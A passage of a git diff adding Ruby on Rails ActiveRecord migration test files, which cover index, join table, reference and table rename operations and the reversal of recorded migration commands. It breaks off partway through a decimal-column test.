+ assert_equal [:remove_index, [:table, {column: [:one, :two], name: "new_index"}]], remove
+ end
+
+ def test_invert_add_index_with_no_options
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+ assert_equal [:remove_index, [:table, {column: [:one, :two]}]], remove
+ end
+
+ def test_invert_remove_index
+ add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two], options: true}]
+ assert_equal [:add_index, [:table, [:one, :two], options: true]], add
+ end
+
+ def test_invert_remove_index_with_name
+ add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two], name: "new_index"}]
+ assert_equal [:add_index, [:table, [:one, :two], name: "new_index"]], add
+ end
+
+ def test_invert_remove_index_with_no_special_options
+ add = @recorder.inverse_of :remove_index, [:table, {column: [:one, :two]}]
+ assert_equal [:add_index, [:table, [:one, :two], {}]], add
+ end
+
+ def test_invert_remove_index_with_no_column
+ assert_raises(ActiveRecord::IrreversibleMigration) do
+ @recorder.inverse_of :remove_index, [:table, name: "new_index"]
+ end
+ end
+
+ def test_invert_rename_index
+ rename = @recorder.inverse_of :rename_index, [:table, :old, :new]
+ assert_equal [:rename_index, [:table, :new, :old]], rename
+ end
+
+ def test_invert_add_timestamps
+ remove = @recorder.inverse_of :add_timestamps, [:table]
+ assert_equal [:remove_timestamps, [:table], nil], remove
+ end
+
+ def test_invert_remove_timestamps
+ add = @recorder.inverse_of :remove_timestamps, [:table]
+ assert_equal [:add_timestamps, [:table], nil], add
+ end
+
+ def test_invert_add_reference
+ remove = @recorder.inverse_of :add_reference, [:table, :taggable, { polymorphic: true }]
+ assert_equal [:remove_reference, [:table, :taggable, { polymorphic: true }], nil], remove
+ end
+
+ def test_invert_add_belongs_to_alias
+ remove = @recorder.inverse_of :add_belongs_to, [:table, :user]
+ assert_equal [:remove_reference, [:table, :user], nil], remove
+ end
+
+ def test_invert_remove_reference
+ add = @recorder.inverse_of :remove_reference, [:table, :taggable, { polymorphic: true }]
+ assert_equal [:add_reference, [:table, :taggable, { polymorphic: true }], nil], add
+ end
+
+ def test_invert_remove_belongs_to_alias
+ add = @recorder.inverse_of :remove_belongs_to, [:table, :user]
+ assert_equal [:add_reference, [:table, :user], nil], add
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
new file mode 100644
index 0000000..efaec0f
--- /dev/null
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -0,0 +1,125 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class Migration
+ class CreateJoinTableTest < ActiveRecord::TestCase
+ attr_reader :connection
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ end
+
+ def teardown
+ super
+ %w(artists_musics musics_videos catalog).each do |table_name|
+ connection.drop_table table_name if connection.tables.include?(table_name)
+ end
+ end
+
+ def test_create_join_table
+ connection.create_join_table :artists, :musics
+
+ assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+ end
+
+ def test_create_join_table_set_not_null_by_default
+ connection.create_join_table :artists, :musics
+
+ assert_equal [false, false], connection.columns(:artists_musics).map(&:null)
+ end
+
+ def test_create_join_table_with_strings
+ connection.create_join_table 'artists', 'musics'
+
+ assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+ end
+
+ def test_create_join_table_with_symbol_and_string
+ connection.create_join_table :artists, 'musics'
+
+ assert_equal %w(artist_id music_id), connection.columns(:artists_musics).map(&:name).sort
+ end
+
+ def test_create_join_table_with_the_proper_order
+ connection.create_join_table :videos, :musics
+
+ assert_equal %w(music_id video_id), connection.columns(:musics_videos).map(&:name).sort
+ end
+
+ def test_create_join_table_with_the_table_name
+ connection.create_join_table :artists, :musics, table_name: :catalog
+
+ assert_equal %w(artist_id music_id), connection.columns(:catalog).map(&:name).sort
+ end
+
+ def test_create_join_table_with_the_table_name_as_string
+ connection.create_join_table :artists, :musics, table_name: 'catalog'
+
+ assert_equal %w(artist_id music_id), connection.columns(:catalog).map(&:name).sort
+ end
+
+ def test_create_join_table_with_column_options
+ connection.create_join_table :artists, :musics, column_options: {null: true}
+
+ assert_equal [true, true], connection.columns(:artists_musics).map(&:null)
+ end
+
+ def test_create_join_table_without_indexes
+ connection.create_join_table :artists, :musics
+
+ assert connection.indexes(:artists_musics).blank?
+ end
+
+ def test_create_join_table_with_index
+ connection.create_join_table :artists, :musics do |t|
+ t.index [:artist_id, :music_id]
+ end
+
+ assert_equal [%w(artist_id music_id)], connection.indexes(:artists_musics).map(&:columns)
+ end
+
+ def test_drop_join_table
+ connection.create_join_table :artists, :musics
+ connection.drop_join_table :artists, :musics
+
+ assert !connection.tables.include?('artists_musics')
+ end
+
+ def test_drop_join_table_with_strings
+ connection.create_join_table :artists, :musics
+ connection.drop_join_table 'artists', 'musics'
+
+ assert !connection.tables.include?('artists_musics')
+ end
+
+ def test_drop_join_table_with_the_proper_order
+ connection.create_join_table :videos, :musics
+ connection.drop_join_table :videos, :musics
+
+ assert !connection.tables.include?('musics_videos')
+ end
+
+ def test_drop_join_table_with_the_table_name
+ connection.create_join_table :artists, :musics, table_name: :catalog
+ connection.drop_join_table :artists, :musics, table_name: :catalog
+
+ assert !connection.tables.include?('catalog')
+ end
+
+ def test_drop_join_table_with_the_table_name_as_string
+ connection.create_join_table :artists, :musics, table_name: 'catalog'
+ connection.drop_join_table :artists, :musics, table_name: 'catalog'
+
+ assert !connection.tables.include?('catalog')
+ end
+
+ def test_drop_join_table_with_column_options
+ connection.create_join_table :artists, :musics, column_options: {null: true}
+ connection.drop_join_table :artists, :musics, column_options: {null: true}
+
+ assert !connection.tables.include?('artists_musics')
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/helper.rb b/activerecord/test/cases/migration/helper.rb
new file mode 100644
index 0000000..e28feed
--- /dev/null
+++ b/activerecord/test/cases/migration/helper.rb
@@ -0,0 +1,43 @@
+require "cases/helper"
+
+module ActiveRecord
+ class Migration
+ class << self; attr_accessor :message_count; end
+ self.message_count = 0
+
+ def puts(text="")
+ ActiveRecord::Migration.message_count += 1
+ end
+
+ module TestHelper
+ attr_reader :connection, :table_name
+
+ CONNECTION_METHODS = %w[add_column remove_column rename_column add_index change_column rename_table column_exists? index_exists? add_reference add_belongs_to remove_reference remove_references remove_belongs_to]
+
+ class TestModel < ActiveRecord::Base
+ self.table_name = :test_models
+ end
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ connection.create_table :test_models do |t|
+ t.timestamps
+ end
+
+ TestModel.reset_column_information
+ end
+
+ def teardown
+ super
+ TestModel.reset_table_name
+ TestModel.reset_sequence_name
+ connection.drop_table :test_models rescue nil
+ end
+
+ private
+
+ delegate(*CONNECTION_METHODS, to: :connection)
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
new file mode 100644
index 0000000..0e375af
--- /dev/null
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -0,0 +1,219 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class Migration
+ class IndexTest < ActiveRecord::TestCase
+ attr_reader :connection, :table_name
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ @table_name = :testings
+
+ connection.create_table table_name do |t|
+ t.column :foo, :string, :limit => 100
+ t.column :bar, :string, :limit => 100
+
+ t.string :first_name
+ t.string :last_name, :limit => 100
+ t.string :key, :limit => 100
+ t.boolean :administrator
+ end
+ end
+
+ def teardown
+ super
+ connection.drop_table :testings rescue nil
+ ActiveRecord::Base.primary_key_prefix_type = nil
+ end
+
+ def test_rename_index
+ skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+
+ # keep the names short to make Oracle and similar behave
+ connection.add_index(table_name, [:foo], :name => 'old_idx')
+ connection.rename_index(table_name, 'old_idx', 'new_idx')
+
+ # if the adapter doesn't support the indexes call, pick defaults that let the test pass
+ assert_not connection.index_name_exists?(table_name, 'old_idx', false)
+ assert connection.index_name_exists?(table_name, 'new_idx', true)
+ end
+
+ def test_double_add_index
+ skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+
+ connection.add_index(table_name, [:foo], :name => 'some_idx')
+ assert_raises(ArgumentError) {
+ connection.add_index(table_name, [:foo], :name => 'some_idx')
+ }
+ end
+
+ def test_remove_nonexistent_index
+ skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+
+ # we do this by name, so OpenBase is a wash as noted above
+ assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+ end
+
+ def test_add_index_works_with_long_index_names
+ connection.add_index(table_name, "foo", name: good_index_name)
+
+ assert connection.index_name_exists?(table_name, good_index_name, false)
+ connection.remove_index(table_name, name: good_index_name)
+ end
+
+ def test_add_index_does_not_accept_too_long_index_names
+ too_long_index_name = good_index_name + 'x'
+
+ e = assert_raises(ArgumentError) {
+ connection.add_index(table_name, "foo", name: too_long_index_name)
+ }
+ assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+
+ assert_not connection.index_name_exists?(table_name, too_long_index_name, false)
+ connection.add_index(table_name, "foo", :name => good_index_name)
+ end
+
+ def test_internal_index_with_name_matching_database_limit
+ good_index_name = 'x' * connection.index_name_length
+ connection.add_index(table_name, "foo", name: good_index_name, internal: true)
+
+ assert connection.index_name_exists?(table_name, good_index_name, false)
+ connection.remove_index(table_name, name: good_index_name)
+ end
+
+ def test_index_symbol_names
+ connection.add_index table_name, :foo, :name => :symbol_index_name
+ assert connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
+
+ connection.remove_index table_name, :name => :symbol_index_name
+ assert_not connection.index_exists?(table_name, :foo, :name => :symbol_index_name)
+ end
+
+ def test_index_exists
+ connection.add_index :testings, :foo
+
+ assert connection.index_exists?(:testings, :foo)
+ assert !connection.index_exists?(:testings, :bar)
+ end
+
+ def test_index_exists_on_multiple_columns
+ connection.add_index :testings, [:foo, :bar]
+
+ assert connection.index_exists?(:testings, [:foo, :bar])
+ end
+
+ def test_valid_index_options
+ assert_raise ArgumentError do
+ connection.add_index :testings, :foo, unqiue: true
+ end
+ end
+
+ def test_deprecated_type_argument
+ message = "Passing a string as third argument of `add_index` is deprecated and will" +
+ " be removed in Rails 4.1." +
+ " Use add_index(:testings, [:foo, :bar], unique: true) instead"
+
+ assert_deprecated message do
+ connection.add_index :testings, [:foo, :bar], "UNIQUE"
+ end
+ end
+
+ def test_unique_index_exists
+ connection.add_index :testings, :foo, :unique => true
+
+ assert connection.index_exists?(:testings, :foo, :unique => true)
+ end
+
+ def test_named_index_exists
+ connection.add_index :testings, :foo, :name => "custom_index_name"
+
+ assert connection.index_exists?(:testings, :foo, :name => "custom_index_name")
+ end
+
+ def test_add_index_attribute_length_limit
+ connection.add_index :testings, [:foo, :bar], :length => {:foo => 10, :bar => nil}
+
+ assert connection.index_exists?(:testings, [:foo, :bar])
+ end
+
+ def test_add_index
+ connection.add_index("testings", "last_name")
+ connection.remove_index("testings", "last_name")
+
+ # Orcl nds shrt indx nms. Sybs 2.
+ # OpenBase does not have named indexes. You must specify a single column name
+ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+ connection.add_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", :column => ["last_name", "first_name"])
+
+ # Oracle adapter cannot have specified index name larger than 30 characters
+ # Oracle adapter is shortening index name when just column list is given
+ unless current_adapter?(:OracleAdapter)
+ connection.add_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", :name => :index_testings_on_last_name_and_first_name)
+ connection.add_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", "last_name_and_first_name")
+ end
+ connection.add_index("testings", ["last_name", "first_name"])
+ connection.remove_index("testings", ["last_name", "first_name"])
+
+ connection.add_index("testings", ["last_name"], :length => 10)
+ connection.remove_index("testings", "last_name")
+
+ connection.add_index("testings", ["last_name"], :length => {:last_name => 10})
+ connection.remove_index("testings", ["last_name"])
+
+ connection.add_index("testings", ["last_name", "first_name"], :length => 10)
+ connection.remove_index("testings", ["last_name", "first_name"])
+
+ connection.add_index("testings", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20})
+ connection.remove_index("testings", ["last_name", "first_name"])
+ end
+
+ # quoting
+ # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
+ # OpenBase does not have named indexes. You must specify a single column name
+ unless current_adapter?(:OpenBaseAdapter)
+ connection.add_index("testings", ["key"], :name => "key_idx", :unique => true)
+ connection.remove_index("testings", :name => "key_idx", :unique => true)
+ end
+
+ # Sybase adapter does not support indexes on :boolean columns
+ # OpenBase does not have named indexes. You must specify a single column
+ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+ connection.add_index("testings", %w(last_name first_name administrator), :name => "named_admin")
+ connection.remove_index("testings", :name => "named_admin")
+ end
+
+ # Selected adapters support index sort order
+ if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ connection.add_index("testings", ["last_name"], :order => {:last_name => :desc})
+ connection.remove_index("testings", ["last_name"])
+ connection.add_index("testings", ["last_name", "first_name"], :order => {:last_name => :desc})
+ connection.remove_index("testings", ["last_name", "first_name"])
+ connection.add_index("testings", ["last_name", "first_name"], :order => {:last_name => :desc, :first_name => :asc})
+ connection.remove_index("testings", ["last_name", "first_name"])
+ connection.add_index("testings", ["last_name", "first_name"], :order => :desc)
+ connection.remove_index("testings", ["last_name", "first_name"])
+ end
+ end
+
+ def test_add_partial_index
+ skip 'only on pg' unless current_adapter?(:PostgreSQLAdapter)
+
+ connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
+ assert connection.index_exists?("testings", "last_name")
+
+ connection.remove_index("testings", "last_name")
+ assert !connection.index_exists?("testings", "last_name")
+ end
+
+ private
+ def good_index_name
+ 'x' * connection.allowed_index_name_length
+ end
+
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
new file mode 100644
index 0000000..97efb94
--- /dev/null
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -0,0 +1,37 @@
+require "cases/helper"
+
+module ActiveRecord
+ class Migration
+ class LoggerTest < ActiveRecord::TestCase
+ # mysql can't roll back ddl changes
+ self.use_transactional_fixtures = false
+
+ Migration = Struct.new(:name, :version) do
+ def disable_ddl_transaction; false end
+ def migrate direction
+ # do nothing
+ end
+ end
+
+ def setup
+ super
+ ActiveRecord::SchemaMigration.create_table
+ ActiveRecord::SchemaMigration.delete_all
+ end
+
+ def teardown
+ super
+ ActiveRecord::SchemaMigration.drop_table
+ end
+
+ def test_migration_should_be_run_without_logger
+ previous_logger = ActiveRecord::Base.logger
+ ActiveRecord::Base.logger = nil
+ migrations = [Migration.new('a', 1), Migration.new('b', 2), Migration.new('c', 3)]
+ ActiveRecord::Migrator.new(:up, migrations).migrate
+ ensure
+ ActiveRecord::Base.logger = previous_logger
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
new file mode 100644
index 0000000..3ff8952
--- /dev/null
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -0,0 +1,102 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class Migration
+ class ReferencesIndexTest < ActiveRecord::TestCase
+ attr_reader :connection, :table_name
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ @table_name = :testings
+ end
+
+ def teardown
+ super
+ connection.drop_table :testings rescue nil
+ end
+
+ def test_creates_index
+ connection.create_table table_name do |t|
+ t.references :foo, :index => true
+ end
+
+ assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ end
+
+ def test_does_not_create_index
+ connection.create_table table_name do |t|
+ t.references :foo
+ end
+
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ end
+
+ def test_does_not_create_index_explicit
+ connection.create_table table_name do |t|
+ t.references :foo, :index => false
+ end
+
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ end
+
+ def test_creates_index_with_options
+ connection.create_table table_name do |t|
+ t.references :foo, :index => {:name => :index_testings_on_yo_momma}
+ t.references :bar, :index => {:unique => true}
+ end
+
+ assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_yo_momma)
+ assert connection.index_exists?(table_name, :bar_id, :name => :index_testings_on_bar_id, :unique => true)
+ end
+
+ def test_creates_polymorphic_index
+ return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+
+ connection.create_table table_name do |t|
+ t.references :foo, :polymorphic => true, :index => true
+ end
+
+ assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+ end
+
+ def test_creates_index_for_existing_table
+ connection.create_table table_name
+ connection.change_table table_name do |t|
+ t.references :foo, :index => true
+ end
+
+ assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ end
+
+ def test_does_not_create_index_for_existing_table
+ connection.create_table table_name
+ connection.change_table table_name do |t|
+ t.references :foo
+ end
+
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ end
+
+ def test_does_not_create_index_for_existing_table_explicit
+ connection.create_table table_name
+ connection.change_table table_name do |t|
+ t.references :foo, :index => false
+ end
+
+ assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+ end
+
+ def test_creates_polymorphic_index_for_existing_table
+ return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+ connection.create_table table_name
+ connection.change_table table_name do |t|
+ t.references :foo, :polymorphic => true, :index => true
+ end
+
+ assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+ end
+
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb
new file mode 100644
index 0000000..e9545f2
--- /dev/null
+++ b/activerecord/test/cases/migration/references_statements_test.rb
@@ -0,0 +1,111 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+ class Migration
+ class ReferencesStatementsTest < ActiveRecord::TestCase
+ include ActiveRecord::Migration::TestHelper
+
+ self.use_transactional_fixtures = false
+
+ def setup
+ super
+ @table_name = :test_models
+
+ add_column table_name, :supplier_id, :integer
+ add_index table_name, :supplier_id
+ end
+
+ def test_creates_reference_id_column
+ add_reference table_name, :user
+ assert column_exists?(table_name, :user_id, :integer)
+ end
+
+ def test_does_not_create_reference_type_column
+ add_reference table_name, :taggable
+ assert_not column_exists?(table_name, :taggable_type, :string)
+ end
+
+ def test_creates_reference_type_column
+ add_reference table_name, :taggable, polymorphic: true
+ assert column_exists?(table_name, :taggable_type, :string)
+ end
+
+ def test_creates_reference_id_index
+ add_reference table_name, :user, index: true
+ assert index_exists?(table_name, :user_id)
+ end
+
+ def test_does_not_create_reference_id_index
+ add_reference table_name, :user
+ assert_not index_exists?(table_name, :user_id)
+ end
+
+ def test_creates_polymorphic_index
+ add_reference table_name, :taggable, polymorphic: true, index: true
+ assert index_exists?(table_name, [:taggable_id, :taggable_type])
+ end
+
+ def test_creates_reference_type_column_with_default
+ add_reference table_name, :taggable, polymorphic: { default: 'Photo' }, index: true
+ assert column_exists?(table_name, :taggable_type, :string, default: 'Photo')
+ end
+
+ def test_creates_named_index
+ add_reference table_name, :tag, index: { name: 'index_taggings_on_tag_id' }
+ assert index_exists?(table_name, :tag_id, name: 'index_taggings_on_tag_id')
+ end
+
+ def test_deletes_reference_id_column
+ remove_reference table_name, :supplier
+ assert_not column_exists?(table_name, :supplier_id, :integer)
+ end
+
+ def test_deletes_reference_id_index
+ remove_reference table_name, :supplier
+ assert_not index_exists?(table_name, :supplier_id)
+ end
+
+ def test_does_not_delete_reference_type_column
+ with_polymorphic_column do
+ remove_reference table_name, :supplier
+
+ assert_not column_exists?(table_name, :supplier_id, :integer)
+ assert column_exists?(table_name, :supplier_type, :string)
+ end
+ end
+
+ def test_deletes_reference_type_column
+ with_polymorphic_column do
+ remove_reference table_name, :supplier, polymorphic: true
+ assert_not column_exists?(table_name, :supplier_type, :string)
+ end
+ end
+
+ def test_deletes_polymorphic_index
+ with_polymorphic_column do
+ remove_reference table_name, :supplier, polymorphic: true
+ assert_not index_exists?(table_name, [:supplier_id, :supplier_type])
+ end
+ end
+
+ def test_add_belongs_to_alias
+ add_belongs_to table_name, :user
+ assert column_exists?(table_name, :user_id, :integer)
+ end
+
+ def test_remove_belongs_to_alias
+ remove_belongs_to table_name, :supplier
+ assert_not column_exists?(table_name, :supplier_id, :integer)
+ end
+
+ private
+
+ def with_polymorphic_column
+ add_column table_name, :supplier_type, :string
+ add_index table_name, [:supplier_id, :supplier_type]
+
+ yield
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
new file mode 100644
index 0000000..22dbd7c
--- /dev/null
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -0,0 +1,90 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+ class Migration
+ class RenameTableTest < ActiveRecord::TestCase
+ include ActiveRecord::Migration::TestHelper
+
+ self.use_transactional_fixtures = false
+
+ def setup
+ super
+ add_column 'test_models', :url, :string
+ remove_column 'test_models', :created_at
+ remove_column 'test_models', :updated_at
+ end
+
+ def teardown
+ rename_table :octopi, :test_models if connection.table_exists? :octopi
+ super
+ end
+
+ def test_rename_table_for_sqlite_should_work_with_reserved_words
+ renamed = false
+
+ skip "not supported" unless current_adapter?(:SQLite3Adapter)
+
+ add_column :test_models, :url, :string
+ connection.rename_table :references, :old_references
+ connection.rename_table :test_models, :references
+
+ renamed = true
+
+ # Using explicit id in insert for compatibility across all databases
+ connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+ assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
+ ensure
+ return unless renamed
+ connection.rename_table :references, :test_models
+ connection.rename_table :old_references, :references
+ end
+
+ def test_rename_table
+ rename_table :test_models, :octopi
+
+ # Using explicit id in insert for compatibility across all databases
+ connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+
+ connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+
+ connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+
+ assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
+ end
+
+ def test_rename_table_with_an_index
+ add_index :test_models, :url
+
+ rename_table :test_models, :octopi
+
+ # Using explicit id in insert for compatibility across all databases
+ connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+ connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+ connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+
+ assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
+ index = connection.indexes(:octopi).first
+ assert index.columns.include?("url")
+ assert_equal 'index_octopi_on_url', index.name
+ end
+
+ def test_rename_table_does_not_rename_custom_named_index
+ add_index :test_models, :url, name: 'special_url_idx'
+
+ rename_table :test_models, :octopi
+
+ assert_equal ['special_url_idx'], connection.indexes(:octopi).map(&:name)
+ end
+
+ def test_rename_table_for_postgresql_should_also_rename_default_sequence
+ skip 'not supported' unless current_adapter?(:PostgreSQLAdapter)
+
+ rename_table :test_models, :octopi
+
+ pk, seq = connection.pk_and_sequence_for('octopi')
+
+ assert_equal "octopi_#{pk}_seq", seq
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration/table_and_index_test.rb b/activerecord/test/cases/migration/table_and_index_test.rb
new file mode 100644
index 0000000..8fd770a
--- /dev/null
+++ b/activerecord/test/cases/migration/table_and_index_test.rb
@@ -0,0 +1,24 @@
+require "cases/helper"
+
+module ActiveRecord
+ class Migration
+ class TableAndIndexTest < ActiveRecord::TestCase
+ def test_add_schema_info_respects_prefix_and_suffix
+ conn = ActiveRecord::Base.connection
+
+ conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+ # Use shorter prefix and suffix as in Oracle database identifier cannot be larger than 30 characters
+ ActiveRecord::Base.table_name_prefix = 'p_'
+ ActiveRecord::Base.table_name_suffix = '_s'
+ conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+
+ conn.initialize_schema_migrations_table
+
+ assert_equal "p_unique_schema_migrations_s", conn.indexes(ActiveRecord::Migrator.schema_migrations_table_name)[0][:name]
+ ensure
+ ActiveRecord::Base.table_name_prefix = ""
+ ActiveRecord::Base.table_name_suffix = ""
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
new file mode 100644
index 0000000..193ffb2
--- /dev/null
+++ b/activerecord/test/cases/migration_test.rb
@@ -0,0 +1,852 @@
+require "cases/helper"
+require "cases/migration/helper"
+require 'bigdecimal/util'
+
+require 'models/person'
+require 'models/topic'
+require 'models/developer'
+
+require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
+require MIGRATIONS_ROOT + "/rename/1_we_need_things"
+require MIGRATIONS_ROOT + "/rename/2_rename_things"
+require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
+
+class BigNumber < ActiveRecord::Base; end
+
+class Reminder < ActiveRecord::Base; end
+
+class Thing < ActiveRecord::Base; end
+
+class MigrationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ fixtures :people
+
+ def setup
+ super
+ %w(reminders people_reminders prefix_reminders_suffix p_things_s).each do |table|
+ Reminder.connection.drop_table(table) rescue nil
+ end
+ Reminder.reset_column_information
+ ActiveRecord::Migration.verbose = true
+ ActiveRecord::Migration.message_count = 0
+ ActiveRecord::Base.connection.schema_cache.clear!
+ end
+
+ def teardown
+ ActiveRecord::Base.table_name_prefix = ""
+ ActiveRecord::Base.table_name_suffix = ""
+
+ ActiveRecord::Base.connection.initialize_schema_migrations_table
+ ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::Migrator.schema_migrations_table_name}"
+
+ %w(things awesome_things prefix_things_suffix p_awesome_things_s ).each do |table|
+ Thing.connection.drop_table(table) rescue nil
+ end
+ Thing.reset_column_information
+
+ %w(reminders people_reminders prefix_reminders_suffix).each do |table|
+ Reminder.connection.drop_table(table) rescue nil
+ end
+ Reminder.reset_table_name
+ Reminder.reset_column_information
+
+ %w(last_name key bio age height wealth birthday favorite_day
+ moment_of_truth male administrator funny).each do |column|
+ Person.connection.remove_column('people', column) rescue nil
+ end
+ Person.connection.remove_column("people", "first_name") rescue nil
+ Person.connection.remove_column("people", "middle_name") rescue nil
+ Person.connection.add_column("people", "first_name", :string, :limit => 40)
+ Person.reset_column_information
+ end
+
+ def test_migrator_versions
+ migrations_path = MIGRATIONS_ROOT + "/valid"
+ ActiveRecord::Migrator.migrations_paths = migrations_path
+
+ ActiveRecord::Migrator.up(migrations_path)
+ assert_equal 3, ActiveRecord::Migrator.current_version
+ assert_equal 3, ActiveRecord::Migrator.last_version
+ assert_equal false, ActiveRecord::Migrator.needs_migration?
+
+ ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
+ assert_equal 0, ActiveRecord::Migrator.current_version
+ assert_equal 3, ActiveRecord::Migrator.last_version
+ assert_equal true, ActiveRecord::Migrator.needs_migration?
+ end
+
+ def test_create_table_with_force_true_does_not_drop_nonexisting_table
+ if Person.connection.table_exists?(:testings2)
+ Person.connection.drop_table :testings2
+ end
+
+ # using a copy as we need the drop_table method to
+ # continue to work for the ensure block of the test
+ temp_conn = Person.connection.dup
+
+ assert_not_equal temp_conn, Person.connection
+
+ temp_conn.create_table :testings2, :force => true do |t|
+ t.column :foo, :string
+ end
+ ensure
+ Person.connection.drop_table :testings2 rescue nil
+ end
+
+ def connection
+ ActiveRecord::Base.connection
+ end
+
+ def test_migration_instance_has_connection
+ migration = Class.new(ActiveRecord::Migration).new
+ assert_equal connection, migration.connection
+ end
+
+ def test_method_missing_delegates_to_connection
+ migration = Class.new(ActiveRecord::Migration) {
+ def connection
+ Class.new {
+ def create_table; "hi mom!"; end
+ }.new
+ end
+ }.new
+
+ assert_equal "hi mom!", migration.method_missing(:create_table)
+ end
+
+ def test_add_table_with_decimals
+ Person.connection.drop_table :big_numbers rescue nil
+
+ assert !BigNumber.table_exists?
+ GiveMeBigNumbers.up
+
+ assert BigNumber.create(
+ :bank_balance => 1586.43,
+ :big_bank_balance => BigDecimal("1000234000567.95"),
+ :world_population => 6000000000,
+ :my_house_population => 3,
+ :value_of_e => BigDecimal("2.7182818284590452353602875")
+ )
+
+ b = BigNumber.first
+ assert_not_nil b
+
+ assert_not_nil b.bank_balance
+ assert_not_nil b.big_bank_balance
+ assert_not_nil b.world_population
+ assert_not_nil b.my_house_population
+ assert_not_nil b.value_of_e
+
+ # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
+ # is_a?(Bignum)
+ assert_kind_of Integer, b.world_population
+ assert_equal 6000000000, b.world_population
+ assert_kind_of Fixnum, b.my_house_population
+ assert_equal 3, b.my_house_population
+ assert_kind_of BigDecimal, b.bank_balance
+ assert_equal BigDecimal("1586.43"), b.bank_balance
